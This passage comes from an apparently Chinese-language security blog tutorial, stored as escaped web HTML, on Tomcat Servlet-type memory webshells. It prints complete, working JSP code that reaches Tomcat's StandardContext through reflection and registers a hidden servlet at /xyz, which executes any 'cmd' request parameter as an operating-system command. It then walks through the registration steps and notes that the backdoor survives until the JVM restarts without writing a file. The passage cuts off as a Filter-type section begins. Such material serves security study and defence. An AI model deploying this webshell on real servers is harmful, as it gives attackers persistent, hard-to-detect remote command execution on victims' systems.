href=\"https:\/\/www.viewofthai.link\/2022\/07\/20\/servlet%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac\/\">https:\/\/www.viewofthai.link\/2022\/07\/20\/servlet%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac\/<\/a>\uff0c\u628a\u5b83\u53d8\u6210\u4e00\u4e2aSevletShell.jsp\uff0c\u800c\u8fd9\u5176\u5b9e\u662f\u6ce8\u5165\u4e86\u4e00\u4e2a\u5185\u5b58\u9a6c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page contentType=\"text\/html;charset=UTF-8\" language=\"java\" %&gt;\n&lt;%@ page import = \"org.apache.catalina.core.ApplicationContext\"%&gt;\n&lt;%@ page import = \"org.apache.catalina.core.StandardContext\"%&gt;\n&lt;%@ page import = \"javax.servlet.*\"%&gt;\n&lt;%@ page import = \"java.io.IOException\"%&gt;\n&lt;%@ page import = \"java.lang.reflect.Field\"%&gt;\n\n&lt;%\n    class ServletDemo implements Servlet{\n        @Override\n        public void init(ServletConfig config) throws ServletException {}\n        @Override\n        public String getServletInfo() {return null;}\n        @Override\n        public void destroy() {}    public ServletConfig getServletConfig() {return null;}\n\n        @Override\n        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {\n            String cmd = servletRequest.getParameter(\"cmd\");\n            if (cmd != null) {\n                Process process = Runtime.getRuntime().exec(cmd);\n                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n                        new java.io.InputStreamReader(process.getInputStream()));\n                StringBuilder stringBuilder = new StringBuilder();\n                String line;\n                while ((line = bufferedReader.readLine()) != null) {\n                    stringBuilder.append(line + '\\n');\n                }\n                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());\n                servletResponse.getOutputStream().flush();\n                servletResponse.getOutputStream().close();\n                return;\n            }\n        }\n    }\n%&gt;\n\n&lt;%\n    ServletContext servletContext =  request.getSession().getServletContext();\n    Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n    appctx.setAccessible(true);\n    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n    Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n    stdctx.setAccessible(true);\n    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n    ServletDemo demo = new ServletDemo();\n    org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();\n\n\/\/\u8bbe\u7f6eServlet\u540d\u7b49\n    demoWrapper.setName(\"xyz\");\n    demoWrapper.setLoadOnStartup(1);\n    demoWrapper.setServlet(demo);\n    demoWrapper.setServletClass(demo.getClass().getName());\n    standardContext.addChild(demoWrapper);\n\n\/\/\u8bbe\u7f6eServletMap\n    standardContext.addServletMappingDecoded(\"\/xyz\", \"xyz\");\n    out.println(\"inject servlet success!\");\n%&gt;<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u6211\u4eec\u8bbf\u95ee\u4e00\u6b21\u8fd9\u4e2a\u9875\u9762\uff0c\u5e94\u8be5\u80fd\u770b\u5230\u9875\u9762\u4e0a\u663e\u793a<code>inject servlet success!<\/code>\uff0c\u63a5\u7740\u8bbf\u95eexyz\u63a5\u53e3\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-212815-8-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-212815-8-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:787px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u5728\u6574\u4e2a\u8fc7\u7a0b\u91cc\u6211\u4eec\u6ca1\u6709\u5199\u5165\u6587\u4ef6\uff0c\u800c\u662f\u901a\u8fc7\u53cd\u5c04\u6ce8\u5165\uff0c\u7ed5\u8fc7\u666e\u901a Web \u5bb9\u5668\u914d\u7f6e\u7ea6\u675f\uff0c\u4e00\u65e6\u6ce8\u5165\u6210\u529f\uff0c\u53ea\u8981 JVM \u4e0d\u91cd\u542f\uff0c\u8fd9\u4e2a\u540e\u95e8\u5c31\u4e00\u76f4\u751f\u6548\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/longlone.top\/%E5%AE%89%E5%85%A8\/java\/java%E5%AE%89%E5%85%A8\/%E5%86%85%E5%AD%98%E9%A9%AC\/Tomcat-Servlet%E5%9E%8B\/\">\u53c2\u8003Tomcat-Servlet\u578b\u5185\u5b58\u9a6c<\/a>\uff0c\u8fd9\u91cc\u8865\u5145\u4e00\u70b9\u77e5\u8bc6\uff0cTomcat\u662f\u5e94\u7528\uff08java\uff09\u670d\u52a1\u5668\uff0c\u5b83\u53ea\u662f\u4e00\u4e2aservlet\u5bb9\u5668\uff0c\u662fApache\u7684\u6269\u5c55\uff0c\u4f46\u5b83\u662f\u72ec\u7acb\u8fd0\u884c\u7684\uff0cTomcat\u7531\u56db\u5927\u5bb9\u5668\u7ec4\u6210\uff0c\u5206\u522b\u662fEngine\u3001Host\u3001Context\u3001Wrapper\u3002\u8fd9\u56db\u4e2a\u7ec4\u4ef6\u662f\u8d1f\u8d23\u5173\u7cfb\uff0c\u5b58\u5728\u5305\u542b\u5173\u7cfb\u3002\u53ea\u5305\u542b\u4e00\u4e2a\u5f15\u64ce\uff08Engine\uff09\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Engine\uff08\u5f15\u64ce\uff09<\/strong>\uff1a\u8868\u793a\u53ef\u8fd0\u884c\u7684Catalina\u7684servlet\u5f15\u64ce\u5b9e\u4f8b\uff0c\u5e76\u4e14\u5305\u542b\u4e86servlet\u5bb9\u5668\u7684\u6838\u5fc3\u529f\u80fd\u3002\u5728\u4e00\u4e2a\u670d\u52a1\u4e2d\u53ea\u80fd\u6709\u4e00\u4e2a\u5f15\u64ce\u3002\u540c\u65f6\uff0c\u4f5c\u4e3a\u4e00\u4e2a\u771f\u6b63\u7684\u5bb9\u5668\uff0cEngine\u5143\u7d20\u4e4b\u4e0b\u53ef\u4ee5\u5305\u542b\u4e00\u4e2a\u6216\u591a\u4e2a\u865a\u62df\u4e3b\u673a\u3002\u5b83\u4e3b\u8981\u529f\u80fd\u662f\u5c06\u4f20\u5165\u8bf7\u6c42\u59d4\u6258\u7ed9\u9002\u5f53\u7684\u865a\u62df\u4e3b\u673a\u5904\u7406\u3002\u5982\u679c\u6839\u636e\u540d\u79f0\u6ca1\u6709\u627e\u5230\u53ef\u5904\u7406\u7684\u865a\u62df\u4e3b\u673a\uff0c\u90a3\u4e48\u5c06\u6839\u636e\u9ed8\u8ba4\u7684Host\u6765\u5224\u65ad\u8be5\u7531\u54ea\u4e2a\u865a\u62df\u4e3b\u673a\u5904\u7406\u3002<\/li>\n\n\n\n<li><strong>Host \uff08\u865a\u62df\u4e3b\u673a\uff09<\/strong>\uff1a\u4f5c\u7528\u5c31\u662f\u8fd0\u884c\u591a\u4e2a\u5e94\u7528\uff0c\u5b83\u8d1f\u8d23\u5b89\u88c5\u548c\u5c55\u5f00\u8fd9\u4e9b\u5e94\u7528\uff0c\u5e76\u4e14\u6807\u8bc6\u8fd9\u4e2a\u5e94\u7528\u4ee5\u4fbf\u80fd\u591f\u533a\u5206\u5b83\u4eec\u3002\u5b83\u7684\u5b50\u5bb9\u5668\u901a\u5e38\u662f Context\u3002\u4e00\u4e2a\u865a\u62df\u4e3b\u673a\u4e0b\u90fd\u53ef\u4ee5\u90e8\u7f72\u4e00\u4e2a\u6216\u8005\u591a\u4e2aWeb App\uff0c\u6bcf\u4e2aWeb App\u5bf9\u5e94\u4e8e\u4e00\u4e2aContext\uff0c\u5f53Host\u83b7\u5f97\u4e00\u4e2a\u8bf7\u6c42\u65f6\uff0c\u5c06\u628a\u8be5\u8bf7\u6c42\u5339\u914d\u5230\u67d0\u4e2aContext\u4e0a\uff0c\u7136\u540e\u628a\u8be5\u8bf7\u6c42\u4ea4\u7ed9\u8be5Context\u6765\u5904\u7406\u3002\u4e3b\u673a\u7ec4\u4ef6\u7c7b\u4f3c\u4e8eApache\u4e2d\u7684\u865a\u62df\u4e3b\u673a\uff0c\u4f46\u5728Tomcat\u4e2d\u53ea\u652f\u6301\u57fa\u4e8eFQDN(\u5b8c\u5168\u5408\u683c\u7684\u4e3b\u673a\u540d)\u7684\u201c\u865a\u62df\u4e3b\u673a\u201d\u3002Host\u4e3b\u8981\u7528\u6765\u89e3\u6790web.xml<\/li>\n\n\n\n<li><strong>Context\uff08\u4e0a\u4e0b\u6587\uff09<\/strong>\uff1a\u4ee3\u8868 Servlet \u7684 Context\uff0c\u5b83\u5177\u5907\u4e86 Servlet \u8fd0\u884c\u7684\u57fa\u672c\u73af\u5883\uff0c\u5b83\u8868\u793aWeb\u5e94\u7528\u7a0b\u5e8f\u672c\u8eab\u3002Context \u6700\u91cd\u8981\u7684\u529f\u80fd\u5c31\u662f\u7ba1\u7406\u5b83\u91cc\u9762\u7684 Servlet \u5b9e\u4f8b\uff0c\u4e00\u4e2aContext\u4ee3\u8868\u4e00\u4e2aWeb\u5e94\u7528\uff0c\u4e00\u4e2aWeb\u5e94\u7528\u7531\u4e00\u4e2a\u6216\u8005\u591a\u4e2aServlet\u5b9e\u4f8b\u7ec4\u6210\u3002<\/li>\n\n\n\n<li><strong>Wrapper\uff08\u5305\u88c5\u5668\uff09<\/strong>\uff1a\u4ee3\u8868\u4e00\u4e2a Servlet\uff0c\u5b83\u8d1f\u8d23\u7ba1\u7406\u4e00\u4e2a Servlet\uff0c\u5305\u62ec\u7684 Servlet \u7684\u88c5\u8f7d\u3001\u521d\u59cb\u5316\u3001\u6267\u884c\u4ee5\u53ca\u8d44\u6e90\u56de\u6536\u3002Wrapper \u662f\u6700\u5e95\u5c42\u7684\u5bb9\u5668\uff0c\u5b83\u6ca1\u6709\u5b50\u5bb9\u5668\u4e86\uff0c\u6240\u4ee5\u8c03\u7528\u5b83\u7684 addChild \u5c06\u4f1a\u62a5\u9519\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220217164552-8-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2F20220217164552-8-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u4e2dwebapps\u6587\u4ef6\u5939\u5373\u662f\u6211\u4eec\u7684Host\uff0cwebapps\u4e2d\u7684\u6587\u4ef6\u5939(\u5982examples\/ROOT)\u4ee3\u8868\u4e00\u4e2aContext\uff0c\u6bcf\u4e2aContext\u5185\u5305\u542bWrapper\uff0cWrapper \u5219\u8d1f\u8d23\u7ba1\u7406\u5bb9\u5668\u5185\u7684 Servlet\u3002<\/p>\n\n\n\n<p>\u867d\u7136StandardContext\u4e2d\u63d0\u4f9b\u4e86\u52a8\u6001\u6ce8\u518cServlet\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u5e76\u672a\u5b9e\u73b0\uff0c\u6240\u4ee5\u9700\u8981\u6211\u4eec\u81ea\u5df1\u53bb\u5b9e\u73b0\u4e00\u4e2a\u6dfb\u52a0Servlet\u7684\u529f\u80fd\u3002\u5728Wrapper\u7684\u521d\u59cb\u5316\u4e2d\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u9996\u5148\u662f\u521b\u5efa\u4e86\u4e00\u4e2aWrapper\uff0c\u7136\u540e\u901a\u8fc7set\u65b9\u6cd5\u914d\u7f6e\u4e86\u4e00\u4e9b\u5c5e\u6027\uff0c\u5176\u4e2d\u8fd9\u4e2aload-on-startup\u987e\u540d\u601d\u4e49\u5c31\u662f\u914d\u7f6e\u542f\u52a8\u4f18\u5148\u7ea7\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215023-8-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215023-8-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:754px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u7ee7\u7eed\u914d\u7f6ewrapper\u7684servletClass:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215340-8-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215340-8-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u914d\u7f6e\u5b8c\u6210\u4e4b\u540e\u4f1a\u5c06wrapper\u653e\u5165StandardContext\u7684child\u91cc:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215433-8-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215433-8-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u4f1a\u904d\u5386web.xml\u4e2dservlet-mapping\u7684servlet-name\u548c\u5bf9\u5e94\u7684url-pattern\uff0c\u8c03\u7528<code>StandardContext.addServletMappingDecoded()<\/code>\u6dfb\u52a0servlet\u5bf9\u5e94\u7684\u6620\u5c04:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215602-8-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-215602-8-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5Servlet\u7684\u521d\u59cb\u5316\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u901a\u8fc7 context.createWapper() \u521b\u5efa Wapper \u5bf9\u8c61<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u7684 LoadOnStartUp \u7684\u503c<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u7684 Name<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u5bf9\u5e94\u7684 Class<\/li>\n\n\n\n<li>\u5c06 Servlet \u6dfb\u52a0\u5230 context \u7684 children \u4e2d<\/li>\n\n\n\n<li>\u5c06 url \u8def\u5f84\u548c servlet \u7c7b\u505a\u6620\u5c04<\/li>\n<\/ul>\n\n\n\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u5206\u6790Servlet\u7684\u88c5\u8f7d\u6d41\u7a0b\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u662f\u5728\u52a0\u8f7d\u5b8cListener\u548cFilter\u4e4b\u540e\uff0c\u624d\u88c5\u8f7dServlet:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-220322-8-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-220322-8-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:712px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u9762\u8fd9\u91cc\u901a\u8fc7 <code>findChildren()<\/code>\u65b9\u6cd5\u4eceStandardContext\u4e2d\u62ff\u5230\u6240\u6709\u7684child\u5e76\u4f20\u5230<code>loadOnStartUp()<\/code>\u65b9\u6cd5\u5904\u7406\uff0c\u800c<code>loadOnStartUp<\/code>\u8fd9\u4e2a\u65b9\u6cd5\u7684\u4f5c\u7528\u662f\u5c06\u6240\u6709load-on-startup\u5c5e\u6027\u5927\u4e8e0\u7684wrapper\u52a0\u8f7d\uff0c\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u7684\u5185\u5b58\u9a6c\u4ee3\u7801\u91cc\u5fc5\u987b\u6709\u4e00\u53e5<code>demoWrapper.setLoadOnStartup(1)<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-220620-8-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250508-220620-8-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:593px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e8b\u5b9e\u4e0a load-on-startup&nbsp;\u5c31\u662f\u7528\u6765\u6307\u5b9a Servlet \u5bb9\u5668\u5728\u542f\u52a8 Web \u5e94\u7528\u65f6\u662f\u5426\u7acb\u5373\u52a0\u8f7d\u67d0\u4e2a Servlet\uff0c\u5982\u679c\u6ca1\u6709\u6307\u5b9a\uff0c\u90a3\u4e48\u53ea\u6709\u5728\u8be5servlet\u88ab\u8c03\u7528\u65f6\u624d\u52a0\u8f7d\uff0c\u6240\u4ee5\u8bf4\u6211\u4eec\u7684\u5185\u5b58\u9a6c\u5fc5\u987b\u8981\u6709\u8fd9\u4e2a\u5c5e\u6027\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u77e5\u9053\u4e86\uff0c\u624b\u52a8\u6ce8\u518c\u4e00\u4e2aservlet\u7684\u6d41\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u627e\u5230StandardContext<\/li>\n\n\n\n<li>\u7ee7\u627f\u5e76\u7f16\u5199\u4e00\u4e2a\u6076\u610fservlet<\/li>\n\n\n\n<li>\u901a\u8fc7 context.createWapper() \u521b\u5efa Wapper \u5bf9\u8c61<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u7684 LoadOnStartUp \u7684\u503c<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u7684 Name<\/li>\n\n\n\n<li>\u8bbe\u7f6e Servlet \u5bf9\u5e94\u7684 Class<\/li>\n\n\n\n<li>\u5c06 Servlet \u6dfb\u52a0\u5230 context \u7684 children \u4e2d<\/li>\n\n\n\n<li>\u5c06 url \u8def\u5f84\u548c servlet \u7c7b\u505a\u6620\u5c04<\/li>\n<\/ul>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\u5185\u5b58\u9a6c\uff0c\u7b2c\u4e00\u90e8\u5206\u7684\u4ee3\u7801\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u662f\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5185\u8054 <code>Servlet<\/code> \u7c7b <code>ServletDemo<\/code>\uff0c\u548c\u6211\u4eec\u6700\u5f00\u59cb\u7684demo\u5dee\u4e0d\u591a\uff0c\u4e3b\u8981\u662f\u7b2c\u4e8c\u90e8\u5206\uff0c\u9996\u5148\u770b\u5230\u8fd9\u91cc\uff0c\u6211\u4eec\u4f7f\u7528\u53cd\u5c04\u83b7\u53d6\u4e86 Tomcat \u5185\u90e8\u7ed3\u6784\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%\nServletContext servletContext = request.getSession().getServletContext();\n\n\/\/ \u53cd\u5c04\u83b7\u53d6 org.apache.catalina.core.ApplicationContext\nField appctx = servletContext.getClass().getDeclaredField(\"context\");\nappctx.setAccessible(true);\nApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n\n\/\/ \u53cd\u5c04\u83b7\u53d6 org.apache.catalina.core.StandardContext\nField stdctx = applicationContext.getClass().getDeclaredField(\"context\");\nstdctx.setAccessible(true);\nStandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n%&gt;<\/code><\/pre>\n\n\n\n<p><code>ServletContext<\/code> \u662f\u6807\u51c6 Servlet API \u63d0\u4f9b\u7684\u63a5\u53e3\uff0c\u6b63\u5e38\u7a0b\u5e8f\u4e0d\u80fd\u64cd\u4f5c\u5e95\u5c42\uff0c\u4f46\u6211\u4eec\u901a\u8fc7\u4e24\u5c42\u53cd\u5c04\uff0c\u6210\u529f\u83b7\u53d6 Tomcat \u7684 <code>StandardContext<\/code> \u5b9e\u4f8b\uff0c\u8fd9\u4e2a\u5bf9\u8c61\u5305\u542b\u6574\u4e2a Web \u5e94\u7528\u7684 Servlet \u7ba1\u7406\u5668\uff0c\u6709\u4e86 <code>StandardContext<\/code>\uff0c\u5c31\u53ef\u4ee5\u52a8\u6001\u6ce8\u5165\u65b0\u7684 Servlet\uff08\u5373\u6302\u9a6c\uff09\u3002<\/p>\n\n\n\n<p>\u63a5\u7740\u518d\u5f80\u4e0b\u770b\uff0c\u6211\u4eec\u52a8\u6001\u6ce8\u518c\u4e86\u4e00\u4e2a Servlet\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ServletDemo demo = new ServletDemo();\norg.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();\n\n\/\/ \u8bbe\u7f6e Servlet \u914d\u7f6e\ndemoWrapper.setName(\"xyz\");\ndemoWrapper.setLoadOnStartup(1);\ndemoWrapper.setServlet(demo);\ndemoWrapper.setServletClass(demo.getClass().getName());\nstandardContext.addChild(demoWrapper);\n\n\/\/ \u6dfb\u52a0\u8def\u7531\u6620\u5c04\nstandardContext.addServletMappingDecoded(\"\/xyz\", \"xyz\");\nout.println(\"inject servlet success!\");\n%&gt;<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u9996\u5148\u521b\u5efa\u4e00\u4e2a <code>Wrapper<\/code>\uff08Tomcat \u4e2d\u5c01\u88c5 Servlet \u7684\u5bf9\u8c61\uff09\uff0c\u8bbe\u7f6e Servlet \u540d\u5b57\u3001\u7c7b\u540d\u3001\u4f18\u5148\u52a0\u8f7d\u7b49\u53c2\u6570\uff0c\u7136\u540e\u901a\u8fc7 <code>addChild<\/code> \u6dfb\u52a0\u5230\u5bb9\u5668\u7684\u5b50\u7ec4\u4ef6\uff0c\u6700\u540e\u901a\u8fc7 <code>addServletMapping<\/code> \u6620\u5c04\u8bbf\u95ee\u8def\u5f84 <code>\/xyz<\/code> \u5230\u8fd9\u4e2a\u6302\u8f7d\u7684 Servlet\uff0c\u6240\u4ee5\u6211\u4eec\u6700\u540e\u5c31\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee<a href=\"http:\/\/localhost:8080\/springmvc_01_quickstart_war\/xyz?cmd=calc.exe\">http:\/\/localhost:8080\/springmvc_01_quickstart_war\/xyz?cmd=calc.exe<\/a>\u6267\u884c\u547d\u4ee4\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Filter\u578b\u5185\u5b58\u9a6c<\/h2>\n\n\n\n<p>Java \u4e2d\u7684 <strong>Filter\uff08\u8fc7\u6ee4\u5668\uff09<\/strong> \u662f Java EE \u63d0\u4f9b\u7684\u4e00\u79cd\u7ec4\u4ef6\uff0c\u7528\u4e8e\u5728\u8bf7\u6c42\u5230\u8fbe Servlet 